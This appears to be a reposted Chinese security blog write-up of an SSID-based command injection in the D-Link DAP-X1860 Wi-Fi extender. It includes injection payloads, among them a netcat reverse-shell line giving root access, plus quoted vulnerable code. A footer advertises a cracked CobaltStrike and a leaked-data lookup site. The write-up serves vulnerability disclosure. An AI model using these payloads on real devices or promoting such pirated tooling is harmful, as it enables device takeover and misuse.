查看原文
其他

D-Link DAP-X1860:远程命令注入

刨洞安全团队 刨洞安全团队 2023-11-08

我们的一位渗透测试人员最近获得了一台新的 D-Link DAP-X1860 信号扩展器,但他们无法完成设置。这是因为邻居的 Wi-Fi 名称中包含一个单引号(如"Olaf's WiFi")

在设置范围扩展器的过程中,会使用 SOAP 操作 "GetSiteSurvey" 来识别附近的 Wi-Fi 网络。如果在扩展器的范围内有一个 SSID 中含有单引号的 Wi-Fi 网络,那么设置过程将会反复崩溃,服务器会返回以下响应:

输出 sh: 7: not found 表明扩展器试图执行某个命令,并且原本在 Wi-Fi 网络 Olaf 的网络中存在的单引号在输出中缺失。另外,第六行与其他行相比并没有相同的空格对齐

这本身就可以被利用为拒绝服务漏洞,因为无法完成设置过程。然而,也可以在扩展器上执行任意命令

例如,试图注入命令 uname -a,这个命令列出了一般的内核信息。为了做到这一点,创建了一个范围内的 Wi-Fi 网络,其 SSID 以一个单引号开始,并由逻辑 shell 运算符 "&&" 分隔命令,例如 Test' && uname -a &&

在信号扩展器上重新扫描 Wi-Fi 网络后,这将导致一个 HTTP 500 错误代码,包括注入命令的输出:

可以看到,命令已经执行,其输出已经在响应中打印出来。对设备的进一步分析发现,设备上的所有进程,包括注入的命令,都以高权限的 root 用户运行。

漏洞来源于 libcgifunc.so 中的 parsing_xml_stasurvey 函数,其中,scanned_ap_info被使用 echo 写入到一个临时文件中,该命令包含了 Wi-Fi 扫描结果中的 SSID,但没有进行适当的转义:

snprintf(acStack_1a0,100,"echo %s > /tmp/Channel_check",&scanned_ap_info);
system(acStack_1a0);

尝试使用 '& nc notebook 1337 -e /bin/sh & 可以启动一个反向 shell


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.8破解版


加我微信好友,邀请你进交流群





往期推荐



国产之光IDE,自带国产特色VIP功能!

JeecgBoot SSTI以及JDBC RCE 复现

善攻者,动于九天之上。善守者,藏于九地之下!

聊聊PE文件免杀

某CDN疑似被投毒!

微信小程序Mac版抓包

RdViewer远控隐蔽利用及钓鱼攻击

Threadless Inject - 一种新颖的进程注入技术

红队标准手册

备用号,欢迎关注


继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存